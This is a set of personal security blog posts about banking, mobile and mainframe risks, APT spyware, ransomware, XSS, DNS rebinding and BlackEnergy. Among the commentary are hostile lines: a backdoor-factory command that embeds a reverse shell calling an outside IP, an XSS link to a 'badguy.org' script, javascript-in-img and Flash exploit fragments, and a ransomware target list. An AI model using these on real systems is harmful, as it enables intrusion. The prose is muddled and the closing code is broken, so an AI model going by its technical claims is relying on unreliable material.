Application Development, Cell Phone (iPhone, Android, windows mobile), System

Mobile Financial App inflicts more contradiction on cyber security – part 1

862 Comments

When you pick up your mobile phone daily, no one will be care of your data privacy in highest priority. Since you are busy with your social media apps (Whatapps, Facebook, Instagram..etc). As easy as today make a payment on air through your mobile phone. However, your habit forming behavior might cause inherent secuirty risks silently. Yes, this is not a hot news. My friend believed that his phone is secure since he installed anti-virus program. As easy as today make a payment on air through your mobile phone. However, your habit forming behavior might cause inherent secuirty risks silently. May be you feel that it is not a critical issue once anti-virus program installed. From technical point of view, it looks correct because anti-virus will monitor malicious activities and quarantine the suspicious activities.

As a general user point of view, we all trusted the mobile financial apps issued by Bank. Do you think it was enough that install a virus protection software and do the mobile patch management. It will resolve all the problems. Regarding to this question, below table can provide an overall idea in this regard. It looks that some component had their own fundamental design limitation.

Compare with traditional non visualization computer architecture, smart-phone memory resources usage brings security concerns to subject matter expert. Apart from this, MIDP (mobile information device profile) carry out trusted relationship concerns of mobile phone applications.

It looks that tons of security concerns carry out on mobile finance software application. But what is the factors let financial institution keep going to this path but don’t take a U turn?

This questions looks everybody can answer? We are living on the earth and it is a demanding atmosphere. The traditional retail banking environment can’t survival on traditional banking product. Besides, labor cost, shop rental fees are count in bankers mind. The bankers think e-business can give assistance. And therefore a electonic technology similar as flooding to change the traditional world was born.

Information security value?

A joke told us that business man did not have key term information security in their mind until tragedy happen. As times goes by, mobile banking technology become a main trend today. Even though a small shop in village from China also accept mobile payment. But what is the value of information security no one can answer today especially bankers! Because if someone put information security on top priority means the efficiency of business developement will slow down. But who have guts to carry this burden ask the management board return to twenty years ago technology?

What is the possibility or hit rate on malware infect mobile phone?

A technology term bring your own device (BYOD) means you are the owner of the device. If an cyber incident occurs on your phone, it is really a sophisticate scenario. As we know, mobile phone system architecture operate on top of virtual machine environment. For sure that the web browsing activities on your mobile phone more intensive compare to your home workstation. Since it is a mobile device, your mobile phone will able to access mobile hot spots anywhere. It increase the attack surface for hackers execute the attack.

What if your mobile phone infected by malware? Do you think it will harmful to bank system?

If you are my follower, do you remember that we had discussion on malware infection technique last year. A critical malware incident occured in U.S. weapons manufacturer Lockheed Martin Corp on 2011. Hackers infiltrated to their internal network.This incident driven Lockheed Martin develop kill chain framework. The goal of this framework is going to defense malware activities. Below table is the famous framework of Lockheed Martin Kill Chain.

Refer to above table, disrupt the malware infection process need deny in delivery phase. However the local anti-virus install on mobile phone do not have such capabilities. The mobile finance application provides flexibility to client. But it was not secure!

Under this context, can we say online banking will be secure than mobile finance apps install on mobile phone? As a matter of fact, a mobile finance applications install on mobile phone exploits programming syntax once phone compromised by hacker. It such a way assists hacker understand the finance institution back end process. Compare with online banking system, bank customers may vulnerable to man-in-the-middle causes privacy leakage. However the overall risk rating lower than mobile finance application software. At least hacker may have difficulties infiltrate to back-end system.

Cyber Crime Business Is Still Booming, especially Targeted attack trends. It is hard to tell what is the functionality on mobile finance application software in future. May become a electronic wallet. Since a design weakness has been known, who is the appropriate guy to metigate the on going strategy in future?

It is a long story, let’s discuss later!

 

 

Application Development, System

(Banking Environment) Advanced technology – brings of concerns for cyber security!

908 Comments

Electronic payment one of the major term of in our daily life. It is hard to imagine that what’s the result once without credit card payment, online payment transfer and mobile payment in the world! The cyber attack hits financial institution more frequently and rapidly especially malware. In this discussion, we are going to investigate modern technology on electronic business bring the impact on financial institution in the long run.  The mainframe computer bring a secure environment to IT world since it operate on a proprietary operation system (z-OS), well defined system architecture (trusted kernel OS). You never heard that a zero-day vulnerability encounters on MainFrame OS or application weekly. As times goes by, the over demanding business activities in the world transfer the motivation equivalent push a secure technology concepts to the cliff side.

Can we say Java technology is the instigator?

The MainFrame system designer did not have hiccups of their system design since the isolation level of memory and operating system coding not as easy as jailbreak a iPhone iOS or windows OS system. However a security weakness of the system feature might bring an unforeseen tragedy to their environment.

Java for OS/390 creates java bytecodes which are not directly executable OS/390 instructions.

However a indirect way may possible lets Logical partitions (LPARs) become vulnerable.

Why?

The combination of buffer overflow and heap spraying is the most common exploitation of pdf malware. How mainframe generate pdf format of file driven by cobol programming language. FPDF is a PHP class which allows to generate PDF files with pure PHP, that is to say without using the PDFlib library. But what is the inherit potential vulnerability of Java. The Java API for JSON Processing provides portable APIs to parse, generate and transform.The COBOL application populates the CRD and passes it to the generation subroutine (RCJSNGEN) with the CRD source in a CALL statement. RCJSNGEN then converts the COBOL data to JSON objects and returns the top level JSON object to the application. Even though cobol program module not vulnerable. But 2 items of high risk application run on top of mainframe Logical partitions (LPARs).

But reminds reader that Java for OS/390 creates java bytecodes which are not directly executable OS/390 instructions. Can we say OS/390 can avoid ring zero attack absolutely?

Ok, let take a closer look of Z-OS system architecture.

 

  1. User address spaces are unique and run single applications
  • Multiple units of work can be active within the address space (parallel execution)
  • User address spaces do not communicate with each other
  • If one address space fails the other user address spaces continuous to run

2. System address spaces

  • Execute system components (elements) – DB2, CICS, SMF, DFMS. These components are call subsystems.
  • System components communicate with each other

3. Cloned or Duplicate address spaces running as a subsystem communicate with each other

  • Multiple address spaces of a subsystem and as a component act as one
  • If one address space fails, the components communicate with each other

Refer above 3 items, 3 types of memory address looks no direct communication with core OS since they are defined as a subsystem. But what is actual status of hardware DMA memory address resources sharing. For example, FICON to access local storage, network adapter (Ethernet and SDLC). And therefore it is hard to say that modernized mainframe environment as secure as classic mainframe system.

Electronic types of Bank Robbery

The Extensions for Financial Services (XFS) system accidentally driven of finance lost in banking industry. The XFS function is responsible for mapping the API (WFS…) functions to SPI (WFP…) functions, and calling the appropriate vendor-specific service providers. As a matter of fact, the Extensions for Financial Services (XFS) system causes financial lost looks serious than traditional bank robbery case. For instance ATM malware incident or 2016 Bangladesh Bank heist. The total of amount of financial lost are huge. From humanity point of view, feeling of optimism since such financial lost incidents did not injure human life. However it is more difficult to fight with technology crime compare with traditional crime.

Reference:

The Phantom of the payment (SWIFT) – A new system flaw found by Microsoft this week. Is there any relationship?

The APAC countries audience might voted “The Phantom of the Opera” is the famous opera, right? I familiar with the song, The Phantom of the Opera is there. Inside my mind. …..Yes, regarding to the subject matter, I digress.The payment flaw incidents happened this year looks didn’t have appropriate resolution to resolve. “To share attack intelligence … SWIFT first needs more hacked banks to come clean.” Brussels-based SWIFT announced the launch of the new team on July 11 as part of a customer security program unveiled by CEO in May. The program was a reaction to persistent security criticism leveled at SWIFT in the wake of the $81 million heist from Bangladesh Bank earlier this year. Read a lot of technical articles and analytic reports receive the understanding of the security weakness of the core system.  I am not going to mention too much in this area because you can easily found the related informations on internet. But the payment flaw security incident especially incident happened in Bangladesh bank.  As a matter of fact, it bring to our attention that the weakness of end user computing and IT infrastructure let this nightmare occurred. Why do we recall this system flaw again? New issued by Microsoft yesterday, a vulnerability occurs on windows OS system. Yes, we don’t surprise on zero-day weekly. However this vulnerability bring to my attention once again!  How importance of end user computing was?

Microsoft found the following:

An attacker could exploit the flaw by conducting a man-in-the-middle attack on a system or print server and injecting malicious code. That’s possible because the print spooler service doesn’t properly validate print drivers when installing a printer.

The conclusion told that rootkit or malware can relies on this way jump inside windows OS system in silent mode because the print spooler service doesn’t properly validate print drivers! It sounds horrible, right?

My personal opinion is that end user computing is the major factor in nowadays IT world regardless of which types of system. I did penetration test on SWIFTNET in 2010 and couldn’t found any critical flaw on SWIFTNET. At that time mistake to believe that modern defence mechanism can fight with insider threats. Seems the stories happened can tell.

In the meantime, I strongly believed that the weakness of system (SWIFT) not the major factor causes serious cyber security incident and fraudulent payments. The initial instigator is the end user computing. Let’s keep our eye open and see whether it is true or not.

Reference articles refer below URLs:

Swift Hack Probe Expands to Up to a Dozen Banks Beyond Bangladesh

http://www.bloomberg.com/news/articles/2016-05-26/swift-hack-probe-expands-to-up-to-dozen-banks-beyond-bangladesh

SWIFT CEO warns: Expect more hacking attacks

http://timesofindia.indiatimes.com/tech/tech-news/SWIFT-CEO-warns-Expect-more-hacking-attacks-/articleshow/52583643.cms?

Every version of Windows hit by “critical” security flaw

http://www.zdnet.com/article/every-version-of-windows-hit-by-critical-security-flaw/

ATM thieves are all in jail. Can you tell me that bank ATM environments are safe now?

Application Development, Cell Phone (iPhone, Android, windows mobile), System

A wide range of views (Advanced persistent threat)

855 Comments

We heard a technical terms named advanced persistent threat since 2013. An information which announced by cyber security company (kaspersky, FireEye, Symantec….etc) but not acknowledge by instigator . The story looks amazing that a security consulting firm (Mandiant) fooled by hacker. By coincidence, it found malicious finger print on gmail account and email message contained alleged resources came from China during investigation. This incident lets people in the world believe that cyber war will be happen in between country to country. A technical vocabulary so called Advanced Persistent Threat spreads around the world.

An unauthorized person gains access to a network and stays there undetected for a long period of time. Cyber security terminology so called APT attack. APT style attack confused security experts. Their mechanism contains many shadow nodes. The shadow nodes located in different areas and countries. It can take this advantage and convert as political tool. It is a sword. Careerist can blame another country that they are dishonest using internet. Who’s cast a unrighted wrong, believed that above diagram can provide an idea to you in this regard.

Reference: – Unofficial information which did not acknowledge by instigator

APT 1: cyber espionage group based in China – Discovered on Feb 2013

APT 28: Russia’s Cyber Espionage Operations – Discovered on Oct 2014

whistle blower (Snowden) – surveillance program scandal ( PRISM ) – Discover on Jan 2014

The design objective of Advanced persistent threat:

Enabled espionage using a variety of intelligence gathering techniques to access sensitive information.

Government enforcement official tools

i. Da Vinci and Galileo

Made by the Italian company Hacking Team, use to Hijack Phones for covert collection of emails, text messages, call history and address books, and they can be used to log keystrokes and obtain search history data.

Remark: An Official announcement in 2015 near year end, Da Vinci products not going to export to other countries due to data leakage incident happened on their campus.

ii. FinFisher (Neodymium & Promethium)

Specific users targeted in Europe and Turkey (last update on Dec 2016)

Neodymium uses the W32/Wingbird.A!dha backdoor to spy on users.

Promethium is a a “backdoor” program, it is a malware. He will masquerades as popular Windows tools such as WinUtils, TrueCrypt, WinRAR and SanDisk.

Remark: CVE-2016-4117 confusion code bug in Adobe Flash equivalent a instigator with Neodymium and Promethium. The Adobe Flash bug allow corrupt one of the objects to extend its length to 0xffffffff (see below source code) and its data buffer to address 0. The attacker are allow to access all of the user space memory once ByteArray corrupted. And such a way attacker execute embedded shellcode. If the Flash Player version is older than 21.0.0.196, the attack can’t execute.

public static function flash20(ba:Dtaa3, var4:uint, var5:uint)
{
   var len:uint;
   var flash50:uint;
   try
   {
       flash38 = true;
       flash21 = ba;
       len = ba.length;
       flash50 = (ba.a1 ^ ba.a5);
       ba.a2 = 0xFFFFFFFF;
       ba.a6 = (0XFFFFFFFF ^ flash50);
       ba.endian = Endian.LITTLE_ENDIAN;
       flash39 = var5;
       len = ba.length;
       if (len !=0xFFFFFFFF)
       {
           flash3("");
       };
       if (flash72)
       {
           Play3.flash20(); // Win32.Exec()
        }
       else
       {
           flash1("");
        };
        flash34(var5, var4);
        }

Advanced Persistent Threat – Drawback of remote monitoring

Traditional Lawful Interception solutions face new challenges which highlight by Finfisher (see below)

  • Data not transmitted over any network
  • Encrypted Communications
  • Targets in foreign countries

Finfisher resolution:

FinSpy was installed on several computer systems inside internet Cafes in critical areas in order to monitor them for suspicious activity, especially Skype communications to foreign individuals. Using the Webcam, pictures of the targets were taken while they were using the system

Traditional tactical or strategic Interception solutions face challenges which point out by Finfisher (see below):

  • Data not transmitted over any network and kept on the device
  • Encrypted Communications in the Air-Interface, which
  • avoid the usage of tactical active or passive Off-Air Systems
  • End-to-end encryption from the device such as Messengers,
  • Emails or PIN messages

Finfisher resolution:

FinSpy Mobile was deployed on BlackBerry mobile phones of several Targets to monitor all communications, including SMS/MMS, Email and BlackBerry Messenger.

The official spy tools looks powerful, however there is another sniff technique which available in the IT world.

Implant backdoor example:

Not going to teach how to hack the system but it is a better understanding …………..

This session not going to get in touch with FinFisher backdoor. However few available solution in the market guide you implant a backdoor to Winrar.exe. One of the example display as below:

sudo backdoor-factory -f /home/assault/Downloads/winrar.exe -s iat_reverse_tcp_stager_threaded -H 192.168.50.15 -P 8080

Government enforcement agency looks not difficult to expand the APT area of coverage. A lot of time they are relies on phishing.

Concept wise equivalent to government enforcement tool

The objective of the APT intend to collect sensitive data or voice messages during surveillance program process. And therefore the compatibility of the malware become an important factor. We are not a government agency but we can run a test with similar concept of design.

Phishing with Empire – Empire software supports macOS, Linux, and Windows hosts from one listener. The only requirement is that you need find a Command and Control (C2) work with you.

Summary:

The key words advanced persistence threat sound scary however it is only a surveillance program. As a normal citizen I do not believe foreign country have interest on my telephone conversation. From data privacy, it looks that it contained grey area since we do not know the reason why we are under surveillance. Such action let people nervous. However my expectation on these technology is that it must expand to some area in the city which take care the monitor and control of criminal activities. What do you think?

Uncategorized

ATM thieves are all in jail. Can you tell me that bank ATM environments are safe now?

868 Comments

Happy Lunar New year 2017

Modern people daily habits looks different when we compared 10 years ago. My wallet has ATM card & Octopus. On my mobile phone there are few options allow pay online. The trend of cyber security addressed how important of end user computer today. Even though back end system protection looks like Royal castle or Pentagon. Who knows their electronic devices has been compromised by hacker. We all busy today, right!

Regarding to cyber attack historical records for financial institute environment , hacker compromised end user machines (customer end point) causes disaster level of outbreak. The statistic summary were told that the possibilities looks lower. Conversely, the most serious of injury was that a inside threat happened in their infrastructure instead of external threat.

Three Eastern European men were arrested in Taiwan in July, 2016 on suspicion of collecting cash stolen from ATMs owned by First Commercial Bank. Refer to the investigation summary of Europol, the specifics cyber attack machanism used spear-phishing emails containing malicious attachments to target bank employees and penetrate the bank’s internal networks.

Below articles is my prediction last year of this incident for reference.

Published on 31st Aug 2016

Possibility – scenario replay (implant Rootkit on BIOS causes ATM machine crazy)

Summary:

Since ATM thieves are all in jail. Can you tell me that bank ATM environments are safe now? Who knows?

More reference:

http://www.reuters.com/article/us-taiwan-cyber-atms-idUSKBN14P0CX

Happy Lunar New Year 2017

 

 

 

Application Development

Infamous ransomware – another new generation was driven by JavaScript!

1,487 Comments

 

 

Have you heard the name evil? Seems this naming convention is apply to ransomware now. A simple hierarchic design of ransomware which work with Java script was born in 2017. The evil ransomware was written in 100% JavaScript. There is no visible panel used for decryption.

The designer of Evil (ransomware) looks familiar with forensic investigation. His design first approach to execute the task is going to delete all the executable file from the following folder.

  1. It delete all executable files from the (folder% TEMP% and% APPDATA% \ Microsoft \ Windows \ Start Menu \ Programs \ Startup) once (evil) javascript (file0locked.js) execute by wscript.exe.
  2. Execute command dir / b / s / x generate the file inventory list then save in encrypted format with naming convention 443.exe. Evil make use of ready make solution. Yes, it is a JavaScrypt (Browser-Based Cryptography Tools). JavaScrypt’s encryption facilities use the Advanced Encryption Standard (AES) adopted by the United States as Federal Information Processing Standard 197. JavaScrypt uses 256 bit keys exclusively.
  3. Key generation and encryption (Remark: below details is intended to provide concept for education only.

Encrypted extension:

*.doc *.xls *.pub *.odt *.ods *.odp *.odm *.odc *.odb*.wps *.xlk *.ppt *.mdb *.accdb *.pst *.dwg *.dxf *.dxg *.wpd *.rtf *.wb2 *.mdf *.dbf *.psd *.pdd *.eps *.ai *.indd *.cdr img_*.jpg *.dng *.3fr *.arw *.srf *.sr2 *.bay *.crw *.cr2 *.dcr *.kdc *.erf *.mef *.mrw *.nef *.nrw *.orf *.raf *.raw *.rwl *.rw2 *.r3d *.ptx *.pef *.srw *.x3f *.der *.cer *.crt *.pem *.pfx *.p12 *.p7b *.p7c

Hash sample: 1817853fdaf2d35988ca22a6db2c939e0f56664576593d325cfd67d24e8fb75c

Current status: 24th Jan 2017

No worries, most popular of antivirus programs are able to detect Devil ransomeware.

For example: Kaspersky,F-Secure,Symantec,TrendMicro. How about Mcafee. It looks that their signature do not have coverage.

Application Development

To be RFC 3986 or not to be RFC 3986

793 Comments

Heard that new discovered phishing technique can fool tech-savvy people. The bad guy conducted a technique so called white space in URL in cyber space. The objective is mislead the computer users includes savvy technical persons. But we are not going to focus how was hackers use phishing email compromise victim workstation in this article. But base on their hack technique raised of my reflections to address the white space fundamental issues. As we know, the white space in url alerted by RFC 1738 many years ago. The RFC 1738 has been replaced by RFC 3986. The concept were told that there is technical limitation of space character. On RFC 1738 article, it highlight that the space character is unsafe because significant spaces may disappear and insignificant spaces may be introduced when URLs are transcribed or typeset or subjected to the treatment of word-processing programs. Be my guest, let take a closer looks of this story.

Normally format HTML will have spaces in between them.

HTML

<nav>
  <a href="#">Peter</a>
  <a href="#">Paul</a>
  <a href="#">Mary</a>
</nav>

CSS

nav a {
  display: inline-block;
  padding: 5px;
  background: Red;
}

Output

What if the URI allowed to contain one or more space characters, is there any hesitation in this area? Do you think the hacker can utilize this invisible place to to do their bad things?

  1. A space position in the character set is 20 hexadecimal. The space character is unsafe because significant spaces may disappear and insignificant spaces may be introduced when URLs are transcribed or typeset or subjected to the treatment of word-processing programs.
  2. A space has to be replaced with a %20 instead. This makes the filename part of the URL less readable and, thus, makes people avoid it in the first place.

Example: whitespace hack

//Start HTML
<html>
<body>
<img/*comment*/src="javascript:alert('img tag')">
</body>
</html>
//End HTML

Result: Some script tags are allowed but <img src=”something”> is not. By replacing the whitespace with a comment, your code is accepted.

It looks that a reverse engineering can change a simple character to become a silent killer. Whitespace just means characters which are used for spacing, and have an “empty” representation. But whitespace jump into python world it will become a cyber weapon.The python community usually follows PEP8 style, which prescribes indentation of four spaces.Whitespace is significant in Python source code. From technical point of view, there are more room space let you guys develop more, right?

As said, whitespace can become a silent killer. However all depends on handler how to use it. He will become a accomplice. This week headline news report that Gmail Phishing Scam Stealing Credentials Through Infected Attachment. Heard that it involved whitespace in url. A space has to be replaced with a %20 instead. This makes the filename part of the URL less readable and, thus, makes people avoid it in the first place. I thought it also involves cross-site scripting technique. Below example quoted that one source is inserting code into pages sent by another source. Sound like OWASP Top 5 items, a cross-site scripting scenario.

<A HREF="http://Goodguy.org/search.cgi?criteria=<SCRIPT SRC='http://badguy.org/infection.js'></SCRIPT>"> Go to Goodguy.org</A>

 

Cell Phone (iPhone, Android, windows mobile)

why H.264 (MP4) play on iphone (7/6S/6) is quite annoying

928 Comments

Use your iPhone play H.264 (MP4) video is annoying, the problem is that sometimes the videos work, sometimes it doesn’t. As a matter of fact, the IOS are quite unstable with mp4 format and h.264 on HTML5. But why is that people always encounter the problem of MP4 not playing on iPhone 7/6S/6?

iPhone 7 Only Supports Two Types of MP4 Files Natively

1. MP4 video with H.264 codec, and the MP4 should meet below specifications:

Up to 1080P, 30fps, high profile level 4.1 with AAC-LC audio below 160Kbps, 48kHz and stereo audio.

2. MP4 video with MPEG-4 codec, and have to meet another different specifications of:

Up to 2.5 Mbps, 640 X 480 resolution, 30fps, simple profile with AAC-LC audio up to 160 Kbps, 48kHz and stereo audio.

iPhone 4S

Compatible with H.264 or MPEG-4 video format with the following specifications:If it is H.264 video, it should meet: up to 1080p, 30 frames per second, High Profile level 4.1 with AAC-LC audio up to 160 Kbps, 48kHz, stereo audio in .m4v, .mp4, and .mov file formats;

If it is MPEG-4 video, it should meet: up to 2.5 Mbps, 640 by 480 pixels, 30 frames per second, Simple Profile with AAC-LC audio up to 160 Kbps per channel, 48kHz, stereo audio in .m4v, .mp4, and .mov file formats;

Think it over? The development life cycle on iphone 4s to iphone 7 not a short period, why there were no improvement in this area?

The culprit

a. iOS10 videos not playing with X-Accel-Redirect

b. X-accel allows for internal redirection to a location determined by a header returned from a backend.

c. Different browsers (Firefox, Safari & IE) have different policies mechanism to cache.

  • TTL hold the valid time of dns entry
  • Browser should cache until TTL expires

But the major factor bother Apple development team not the above items, the issue is that they found a vulnerability in Safari.

The instigator of this vulnerability

Refer to below diagram, CFNetwork Framework embedded in core services layer. It provides the following functions.

  • Use BSD sockets
  • Create encrypted connections using SSL or TLS
  • Resolve DNS hosts
  • Work with HTTP servers, authenticating HTTP servers, and HTTPS servers
  • Work with FTP servers
  • Publish, resolve, and browse Bonjour services

Unfortunately the vulnerability found that Safari support of HTTP/0.9 and accidentally allow cross-protocol exploitation of non-HTTP services using DNS rebinding. The remediation step of Apple is that restrict HTTP/0.9 responses to default ports and canceling resource loads if the document was loaded with a different HTTP protocol version. Sounds like a middle man verify the communication between external and core services. However it break X-Accl-Redirect function thus H.264 (MP4) doesn’t work properly.

Reference:

Apple remediation of CVE-2016-4760 (About the security content of iOS 10)

iOS 10 – Released September 13, 2016

WebKit

Available for: iPhone 5 and later, iPad 4th generation and later, iPod touch 6th generation and later

Impact: A malicious website may be able to access non-HTTP services

Description: Safari’s support of HTTP/0.9 allowed cross-protocol exploitation of non-HTTP services using DNS rebinding. The issue was addressed by restricting HTTP/0.9 responses to default ports and canceling resource loads if the document was loaded with a different HTTP protocol version.

Web browser design weakness (DNS pinning) & DNS rebinding vulnerability

Web browser pins host name to IP address but pin is easily to release with below command.

<img src:http://xxx.com:81/>

DNS rebinding vulnerability: Attacker will respond with the XML below:

<?xml version"1.0"?>
<cross-domain-policy>
 <allow-access-from domain="*" to-ports="*" />
</cross-domain-policy>

DNS rebinding scenario replay:

  1. Victim visits the malicious Web site hunt.com and loads the script it contains.

2. The attacker then changes the DNS entry of hunt.com in order to resolve to the internal server’s IP address, which is the target. In addition, the attacker disconnects the Web server that was running on the original IP address.

3. The script uses a timed event (setIntervall or setTimeout) to load a Web page from hunt.com. (Different browsers (Firefox, Safari & IE) have different policies mechanism to cache).

4. The victim’s Web browser executes the script and tries to connect back to hunt.com using the IP address, which is bound to it due to DNS pinning. But, as the Web server is no longer available, the connection is rejected and DNS pinning is dropped, due to the weakness described in the previous section.

5. The browser then drops the DNS pinning and does a new DNS lookup request for hunt.com. This time, the response results in a different IP address; the browser has removed from its cache the previous mapping of the server hostname (hunt.com) to an IP address, so cannot be protected from the misdirection.

6. As the new IP address points to the internal server, the attacker’s script is now able to access the internal server’s content and reveal it.

Information Supplement – iOS security function:

The security feature set on iOS or Mac OS design are advanced. The Security Server (securityd) is a daemon running in macOS and iOS that implements several security protocols, such as encryption, decryption, and (in macOS) authorization computation. The Security Agent is a separate process that provides the user interface for the Security Server in macOS (not iOS). Its primary purpose is to request authentication whenever an app requests additional privileges.

The iOS operating system isolates each and every app on the system. Apps are not allowed to view or modify each other’s data, business logic, and so on. Isolation prevents one app from knowing whether any other app is present on the system or whether apps can access the iOS operating system kernel until the device is jailbroken. This ensures a high degree of separation between the app and operating system.

iOS provides two types of isolation:

  • Process isolation
  • Filesystem isolation
System

Predict 2017 – a political fight on nuclear power facilities

411 Comments

Headline news yesterday (20th Dec 2016) report Ukraine Suffers Power Outage. It was the 2nd time of power disruption this year. As far as I remember the 1st incident occurred on Jan 2016. The motivation of this news lets information security experts re-think about BlackEnergy DDos tools.The Blackenergy soft tools found 2007, a notorious powerful distributed denial of services soft tool conducted cyber attacks suspended Georgian Soviet Socialist Republic communication facilities. Sum up the cyber attack in nuclear power facilities, it gives people to feel those incidents looks like a political fights. Sounds like naughty boy intend to turn off neighbor main water tap to create troubles.

Analyze of nuclear power facility of attacks

Hardcore type malware: Stuxnet, Duqu, and Flame are categories hardcore type malware. The hardcore type malware usually achieve the following actions.

Incident historical records:

  1. June 2010 – Stuxnet malware to sabotage Iran’s nuclear program.
  2. May 2012 – Flame malware targeted cyber espionage in Middle Eastern countries.
  3. Dec 2014 – South Korean nuclear operator hacked amid cyber-attack fears.
  4. Mar 2015 – South Korea claims North hacked nuclear data.
  5. Apr 2016 – A malware infected systems at the Gundremmingen nuclear plant in Germany.
  6. Oct 2016 – Headline News: Rep. Kim Jin-pyo, a lawmaker of the main opposition Minjoo Party of Korea, told Yonhap News Agency in a telephone interview that the hacking targeted the “vaccine routing server” installed at the cyber command.

Weaponize types of malware: contains sabotage, interfere, traffic monitoring function and remote control functions.

The original goal of design for BlackEnergy is provides powerful distributed denial of service function. To meet attacker functional requirement, BlackEnergy began supporting plugins in 2007. This is the second generation of BlackEnergy. The malware plugin feature make use of mutex objects to avoid infecting the system more than once, as well as to coordinate communications among its multiple components on the host (see below diagram for reference). To evade virus and malware detection, malware avoids using a hardcoded name for its mutex.

The third generation of BlackEnergy take advantage of OLE object (CVE-2014-6352). Embedded mailicous code to MS office xls format of document gained remote code execution. Since the blackenergy hash exposed to the world (see below details for reference). More than 90% of above antivirus program can detected. It looks that the severity level of risk dropped.

SHA256: f5785842682bc49a69b2cbc3fded56b8b4a73c8fd93e35860ecd1b9a88b9d3d8

Target windows component: Win32 DLL

Attack scenario: PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit

Malware implant target destination:

  • Win32 Executable MS Visual C++ (generic) (67.4%)
  • Win32 Dynamic Link Library (generic) (14.2%)
  • Win32 Executable (generic) (9.7%)
  • Generic Win/DOS Executable (4.3%)
  • DOS Executable Generic (4.3%)

Status update on 21st Dec 2016

Ukraine Suffers Power Outage Possibly Due to Energy Plant Hack on 17th Dec 2016 Sat. What do you think? Do you think a new shape of blackenergy was born? My speculation is that the cyber attacks in nuclear power facilities will going to increase coming months.

For reference:

https://www.linkedin.com/pulse/malware-vs-nuclear-power-do-you-think-scada-system-picco?trk=mp-author-card

 

Application Development, System

Descendant of VSAM File Organization,that is blockchain technology today

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Old school boy might remember fundamental of Virtual storage access method (VSAM). I object, banking and financial institution are close with VSAM technologies day to day. Yes, they are using mainframe computer. For instance IBM S390. People discontentment of proprietary payment solution (SWIFT) sounds high! Hackers targeted payment system via the SWIFT, no significant figures show the security weakness of traditional payment system (SWIFT). Do you think the exploit come from fundamental design or it is the operation weakness? The block chain technology (bitcoins) carry out challenge to traditional payment method. For sure that it is a long run of competition. It includes intangible factors. Example: political, conflict of interest on business side, renovation of traditional payment culture,…etc.

Descendant of VSAM File structure,that is blockchain conceptual technology today

Blockchain technology – who is who?

Blockchain technology confusing me! What is bitcoin blockchain? Or it is Ethereum technology? But heard that there is another digital currencies or digital token. Oh! my god, still have smart contracts! Find the answer conclude that it is list of transactions that is replicated across a number of computers.

i. Blockchain keep track of a currency’s balances.Since it is a decentralized networks, blockchain does not have a central point of failure and is better able to avoid malicious attacks.

ii. Ethereum is an public blockchain-based distributed application platform featuring smart contract functionality.

iii. A smart contract is a digitally signed, computable agreement between two or more parties. A virtual third party work as software agent to execute and enforce at least some of the terms of such agreements.

iv. Digital tokens being used to represent different assets on a blockchain.

The overall opinion of people feel that BlockChain technologies are advanced compare with traditional payment method. See below diagram, the layering architecture of blockchain not special. If you take a closer look and focus in blockchain and share data storage layer. You will feel that blockchain design concept like IBM Mainframe VSAM file organization structure.

From design point of view, VSAM structure consists of tables, columns, primary keys, indexes, stored procedures, and views (refer to below left hand side diagram). When a direct READ is performed for a VSAM indexed file, based on an alternate index for which duplicates exist, only the first record in the data set (base cluster) with that alternate key value is retrieved. You need a series of READ NEXT statements to retrieve each of the data set records with the same alternate key.

How about block chain design structure? The terminology so called terms includes Transactor, Transaction, Ledger,World stat, Chaincode, Validating peer, Non-validating peer, Consensus and Permissioned network (refer to below right hand side diagram).

Descendant of VSAM File Organization,that is blockchain technology today.

Blockchain Key terms (copy from IBM Bluemix Docs)

The following terms are instrumental in gaining a holistic understanding of blockchain concepts:

Transactor: A network participant connected to the blockchain network through a node, who submits transactions from a client using an SDK or API.

Transaction: A request by a transactor to execute a function on the blockchain network. The transaction types are deploy, invoke, and query, which are implemented through the chaincode functions set forth in the fabric’s API contract.

Ledger: A sequence of cryptographically-linked blocks, containing transactions and the current world state. In addition to data from previous transactions, the ledger also contains the data for currently-running chaincode applications.

World state: Key-value database used by chaincodes to store their state when executed by a transaction.

Chaincode: Embedded logic that encodes the rules for specific types of network transactions. Developers write chaincode applications and deploy them to the network. End users then invoke chaincode through a client-side application that interfaces with a network peer, or node. Chaincode runs network transactions, which if validated, are appended to the shared ledger and modify world state.

Validating peer: A network node that runs the consensus protocol for the network to validate transactions and maintain the ledger. Validated transactions are appended to the ledger, in blocks. If a transaction fails consensus, it is purged from the block and therefore, not written to the ledger. A validating peer (VP) has authority to deploy, invoke and query chaincode.

Non-validating peer: A network node that functions as a proxy, connecting transactors to validating peers. A non-validating peer (NVP) forwards invocation requests to its connected validating peer (VP). It also hosts the event stream server and the REST service.

Consensus: A protocol that maintains the order of blockchain network transactions (deploy and invoke). Validating nodes work collectively to approve transactions by implementing the consensus protocol. Consensus ensures that a quorum of nodes agree on the order of transactions on the shared ledger. By resolving any discrepancies in this order, consensus ensures that all nodes operate on an identical blockchain ledger. See the consensus topic for more information and test cases.

Permissioned network: A blockchain network where each node is required to maintain a member identity on the network, and each node has access to only the transactions that its permissions allow.

For readers who are interested of block chain technology. Please refer below url for reference.

About blockchain (IBM Bluemix Docs)

https://console.ng.bluemix.net/docs/services/blockchain/ibmblockchain_overview.html

Merry Christmas!

System

Behaviour based Malware Detection Methods, do you think it is outdated?

809 Comments

Whenever Windows OS or applications execute syntax action, check the registry, read or write a file, launch or close a process, etc. It result in Windows calling a service in the System Service Descriptor Table (SSDT).

Hooking SSDT technique exploits found on 2010. The problem was that attacker might fool the security check especially antivirus program. Attacker benefits on behavior of an electronic, software or other system output design limitation. A specific kind of bug given by race condition. This is so called time-of-check-to-time-of-use (TOCTTOU or TOCTOU), a vulnerability in security-conscious code. Microsoft suggest antivirus vendor use microsoft offical API, whereas the official API does not support all the required functions. Therefore antivirus vendor was still forced to use SSDT hooks to implement behavior detection.

CWE-367 – The software checks the state of a resource before using that resource, but the resource’s state can change between the check and the use in a way that invalidates the results of the check. This can cause the software to perform invalid actions when the resource is in an unexpected state.

How the code (TOCTTOU) does?

The program uses the access() system call to check if the person running the program has permission to access the specified file before it opens the file and performs the necessary operations. The program uses the access() system call to check if the person running the program has permission to access the specified file. If an attacker replaces file after the call to access() with a symbolic link to a different file, the program will use its root privileges to operate on the file even if it is a file that the attacker would otherwise be unable to modify. By tricking the program into performing an operation that would otherwise be impermissible, the attacker has gained elevated privileges.

functionreadFile($filename){
$user = getCurrentUser();

//resolve file if its a symbolic linkif(is_link($filename)){
$filename = readlink($filename);
}

if)fileowner($filename)==$usr){
echo file_get_contents($realFile);
return;
}
else{
